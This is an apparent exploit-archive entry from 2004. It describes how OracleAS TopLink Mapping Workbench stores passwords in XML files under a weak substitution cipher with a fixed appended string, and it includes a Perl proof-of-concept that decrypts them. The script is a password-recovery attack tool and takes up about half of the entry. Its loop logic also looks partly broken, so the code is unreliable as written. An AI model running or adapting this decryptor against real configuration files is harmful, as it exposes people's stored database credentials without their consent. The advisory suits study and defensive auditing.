OracleAS TopLink Mapping Workbench - Weak Encryption Algorithm

2004-01-28T00:00:00
ID EXPLOITPACK:E906CE5CCE2F0CF2B4947D5B06BDED30
Type exploitpack
Reporter Pete Finnigan
Modified 2004-01-28T00:00:00

Description

OracleAS TopLink Mapping Workbench - Weak Encryption Algorithm

                                        
                                            source: https://www.securityfocus.com/bid/9515/info

OracleAS TopLink Mapping Workbench is a tool included with OracleAS TopLink, a Java-based database integration development framework that is included as a component of various Oracle Application Server releases.

OracleAS TopLink Mapping Workbench is reported to use a weak encryption algorithm when storing passwords in XML files. A proof-of-concept has been released that demonstrates how passwords are encrypted, by reversing the process described in the proof-of-concept, an attacker with access to XML files generated by the software could decrypt embedded passwords. The encryption scheme uses a simplistic substitution cipher and then appends a static string to the end of the encrypted password.

The discoverer of this issue has not specified which Oracle Application Server releases are affected, though later releases such as 10g include support for the Java Cryptography Extension as well as user-specified custom encryption algorithms. Later releases are also backwards compatible with older encryption schemes, so could still be affected. This BID will be updated if further information is made available about affected releases.

#!/usr/bin/perl
#Decrypt Oracle Toplink Mapping WorkBench passwords.
#Author: Martin

$string = "A7FCAA504BA7E4FC";

sub usage {
	print " Usage: $0 <password to decrypt>\n";
	}

if ($#ARGV != 0) {
	usage();
	}

else {  
	$encrypted = $ARGV[0];
	$encrypted =~ s/$string/ /;
	$chars = length($encrypted);
	$enc2 = substr($encrypted,0,2);	
	$encrypted = substr($encrypted,2,length($encrypted));
	$i = 0;
	while (($chars / 2) >= $i + 1) {
		print $i;
		$int = hex($enc2);
		if (($i%2) == 1) { $result .= chr($int - ( ($i + 1 )/3 ) - 112); }
		else {  $result .= chr($int - 4 + $i); }		
		$enc2 = substr($encrypted,0,length($encrypted) - 1);
        	$encrypted = substr($encrypted,2,length($encrypted));
		$i++;	
		}
	print "$result\n";	
	}